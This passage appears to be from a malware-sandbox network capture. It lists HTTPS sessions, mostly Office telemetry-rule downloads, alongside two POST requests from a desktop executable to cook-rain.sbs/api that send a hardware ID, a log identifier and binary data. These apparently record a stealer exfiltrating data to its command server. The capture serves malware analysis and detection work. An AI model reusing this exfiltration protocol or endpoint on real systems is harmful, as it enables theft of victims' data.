13	192.168.2.7	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:28 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164128Z-1777c6cb754g9zd5hC1TEBfvpw00000009wg00000000vadb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49718	104.21.66.38	443	7476	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:28 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Q40ACO3KKLQ0IK8OSUC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15088 Host: cook-rain.sbs
2024-11-20 16:41:28 UTC	15088	OUT	Data Raw: 2d 2d 51 34 30 41 43 4f 33 4b 4b 4c 51 30 49 4b 38 4f 53 55 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 44 32 32 38 38 35 46 32 31 41 36 46 31 30 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 51 34 30 41 43 4f 33 4b 4b 4c 51 30 49 4b 38 4f 53 55 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 51 34 30 41 43 4f 33 4b 4b 4c 51 30 49 4b 38 4f 53 55 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --Q40ACO3KKLQ0IK8OSUCContent-Disposition: form-data; name="hwid"F5D22885F21A6F1063CFCF7E6C45F838--Q40ACO3KKLQ0IK8OSUCContent-Disposition: form-data; name="pid"2--Q40ACO3KKLQ0IK8OSUCContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-20 16:41:29 UTC	982	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lg0smmjg5s4tv4g7va8m1te749; expires=Sun, 16-Mar-2025 10:28:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=33VhodJ94d15ZJ4UTyYGX5zXRgO16IqXxdwpiRi12vILACKxJPH9t0P3RT029f8lChqeMBzHpfqA9ezJ1X8hhUuaF0N%2FSVUZ4Cq9coDbJZNFqEJXTe%2BTul31x0W6PZM6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e59e34488e77ca2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1937&sent=12&recv=18&lost=0&retrans=0&sent_bytes=2829&recv_bytes=16026&delivery_rate=1454907&cwnd=245&unsent_bytes=0&cid=b2f904b14f5fb565&ts=965&x=0"
2024-11-20 16:41:29 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 16:41:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:30 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164130Z-185f5d8b95c68cvnhC1NYCfn7s0000000afg00000000hx4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:30 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:30 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164130Z-185f5d8b95cjbkr4hC1NYCeu240000000ac000000000bp66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:30 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:30 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164130Z-r1d97b99577n4dznhC1TEBc1qw000000095000000000c6rc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:31 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:30 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164130Z-185f5d8b95cx9g8lhC1NYCtgvc00000002xg000000004zmy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:30 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164131Z-1777c6cb754whff4hC1TEBcd6c00000008bg00000000yz1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49724	104.21.66.38	443	7476	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:31 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=U04GE9HQJ7A3J User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20377 Host: cook-rain.sbs
2024-11-20 16:41:31 UTC	15331	OUT	Data Raw: 2d 2d 55 30 34 47 45 39 48 51 4a 37 41 33 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 44 32 32 38 38 35 46 32 31 41 36 46 31 30 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 55 30 34 47 45 39 48 51 4a 37 41 33 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 55 30 34 47 45 39 48 51 4a 37 41 33 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 55 30 34 47 45 Data Ascii: --U04GE9HQJ7A3JContent-Disposition: form-data; name="hwid"F5D22885F21A6F1063CFCF7E6C45F838--U04GE9HQJ7A3JContent-Disposition: form-data; name="pid"3--U04GE9HQJ7A3JContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--U04GE
2024-11-20 16:41:31 UTC	5046	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 00 00 00 00 00 Data Ascii: 6K~`iO\_,mi`m?ls}Qm/X2x)
2024-11-20 16:41:32 UTC	994	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k7rhfh4khtrspn2cshcjg1jo16; expires=Sun, 16-Mar-2025 10:28:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UstESjzZ1%2FAh1LUxtD1f6kk4wkt4K2hTaX64WwFZi3oihaQFaC9ptOb7FMPkmRjuLtRV%2BCCQpsFQ%2FD%2Bwrh0%2Bxm5HvHWgsU8a4kt%2BzFV7fzcXJd1M%2B%2Bea7mHZwddxbVEw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e59e354afa17286-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1792&sent=15&recv=27&lost=0&retrans=1&sent_bytes=4198&recv_bytes=21331&delivery_rate=155708&cwnd=240&unsent_bytes=0&cid=d96fa62d9df79446&ts=1183&x=0"
2024-11-20 16:41:32 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 16:41:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:32 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:33 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164133Z-1777c6cb754xlpjshC1TEBv8cc00000009yg00000000mbx3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:33 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:32 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:33 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164133Z-r1d97b99577dd2gchC1TEBz5ys00000008w000000000q2gn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:33 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:32 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:33 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 0bcc5563-701e-0021-03f3-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164133Z-185f5d8b95cp7lkfhC1NYC7rpw0000000ag000000000zgxp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
